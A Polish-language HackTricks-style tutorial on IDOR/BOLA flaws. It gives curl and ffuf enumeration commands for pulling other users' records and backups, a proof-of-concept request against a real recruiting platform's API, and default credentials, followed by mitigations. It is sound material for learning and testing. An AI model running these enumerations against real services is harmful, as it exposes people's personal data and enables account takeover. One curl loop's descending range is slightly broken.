IDOR (Insecure Direct Object Reference)

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) pojawia się, gdy endpoint webowy lub API ujawnia albo przyjmuje identyfikator kontrolowany przez użytkownika, który jest używany bezpośrednio do dostępu do wewnętrznego obiektu bez sprawdzenia, czy wywołujący jest uprawniony do dostępu/modyfikacji tego obiektu. Pomyślne wykorzystanie zwykle umożliwia poziomą lub pionową eskalację uprawnień, taką jak odczyt lub modyfikacja danych innych użytkowników, a w najgorszym wypadku pełne przejęcie konta lub masową eksfiltrację danych.


1. Identyfikacja potencjalnych IDOR-ów

  1. Szukaj parametrów odnoszących się do obiektu:
  • Ścieżka: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Nagłówki / Cookies: X-Client-ID: 4711
  1. Preferuj endpointy, które odczytują lub aktualizują dane (GET, PUT, PATCH, DELETE).
  2. Zwróć uwagę, gdy identyfikatory są sekwencyjne lub przewidywalne – jeśli twój ID to 64185742, to 64185741 prawdopodobnie istnieje.
  3. Przeszukaj ukryte lub alternatywne przepływy (np. link “Członkowie zespołu Paradox” na stronach logowania), które mogą ujawnić dodatkowe API.
  4. Użyj uwierzytelnionej sesji o niskich uprawnieniach i zmieniaj tylko ID, zachowując ten sam token/ciasteczko. Brak błędu autoryzacji zwykle wskazuje na IDOR.

Szybkie ręczne manipulacje (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Automatyczna enumeracja (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Enumerowanie przewidywalnych ID pobierania (ffuf)

Panele hostingu plików wymagające uwierzytelnienia często przechowują metadane na użytkownika w jednej tabeli files i udostępniają endpoint do pobierania, np. /download.php?id=<int>. Jeśli handler sprawdza tylko, czy ID istnieje (a nie czy należy do uwierzytelnionego użytkownika), możesz przeskanować przestrzeń liczb całkowitych przy pomocy ważnego cookie sesji i ukraść kopie zapasowe/konfiguracje innych tenantów:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr usuwa szablony w stylu 404, więc pozostają tylko prawdziwe trafienia (np. IDs 54/150 leaking full site backups and signing material).
  • Ten sam workflow FFUF działa z Burp Intruder lub pętlą curl — upewnij się tylko, że pozostajesz uwierzytelniony podczas zwiększania IDs.

Oracle odpowiedzi błędów dla enumeracji użytkowników/plików

Gdy endpoint pobierania akceptuje zarówno username, jak i filename (np. /view.php?username=<u>&file=<f>), subtelne różnice w komunikatach błędów często tworzą oracle:

  • Nieistniejący username → “Użytkownik nie znaleziony”
  • Zły filename, ale poprawne rozszerzenie → “Plik nie istnieje” (czasami wymienia też dostępne pliki)
  • Złe rozszerzenie → błąd walidacji

Mając jakąkolwiek uwierzytelnioną sesję, możesz fuzzować parametr username przy trzymaniu neutralnego filename i filtrować po ciągu “użytkownik nie znaleziony”, aby odkryć prawidłowych użytkowników:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Po zidentyfikowaniu ważnych nazw użytkowników, żądaj bezpośrednio konkretnych plików (np. /view.php?username=amanda&file=privacy.odt). Taki wzorzec często prowadzi do nieautoryzowanego ujawnienia dokumentów innych użytkowników i wycieku poświadczeń.


2. Studium przypadku z rzeczywistego świata – McHire Chatbot Platform (2025)

Podczas oceny portalu rekrutacyjnego zasilanego przez Paradox.ai — McHire — odkryto następujący IDOR:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: cookie sesji użytkownika dla dowolnego konta testowego restauracji
  • Body parameter: {"lead_id": N} – 8-cyfrowy, sekwencyjny identyfikator numeryczny

Zmniejszając lead_id, tester uzyskał dostęp do dowolnych kandydatów — ich pełnych PII (imię, e-mail, telefon, adres, preferencje zmianowe) oraz konsumenckiego JWT, który umożliwiał przejęcie sesji. Enumeracja zakresu 1 – 64,185,742 ujawniła w przybliżeniu około 64 milionów rekordów.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

W połączeniu z default admin credentials (123456:123456), które zapewniały dostęp do konta testowego, luka doprowadziła do krytycznego, obejmującego całą firmę naruszenia danych.


3. Wpływ IDOR / BOLA

  • Escalacja pozioma – odczyt/aktualizacja/usunięcie danych innych użytkowników.
  • Escalacja pionowa – użytkownik o niskich uprawnieniach uzyskuje funkcjonalność dostępną tylko dla administratorów.
  • Masowe naruszenie danych, jeśli identyfikatory są sekwencyjne (np. ID kandydatów, faktury).
  • Przejęcie konta przez kradzież tokens lub resetowanie haseł innych użytkowników.

4. Mitigacje & Best Practices

  1. Wymuszaj autoryzację na poziomie obiektów dla każdego żądania (user_id == session.user).
  2. Preferuj indirect, unguessable identifiers (UUIDv4, ULID) zamiast auto-increment IDs.
  3. Wykonuj autoryzację server-side, nigdy nie polegaj na ukrytych polach formularza lub kontrolkach UI.
  4. Zaimplementuj RBAC / ABAC checks w centralnym middleware.
  5. Dodaj rate-limiting & logging aby wykryć enumerację ID.
  6. Testuj bezpieczeństwo każdego nowego endpointu (unit, integration, and DAST).

5. Narzędzia

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks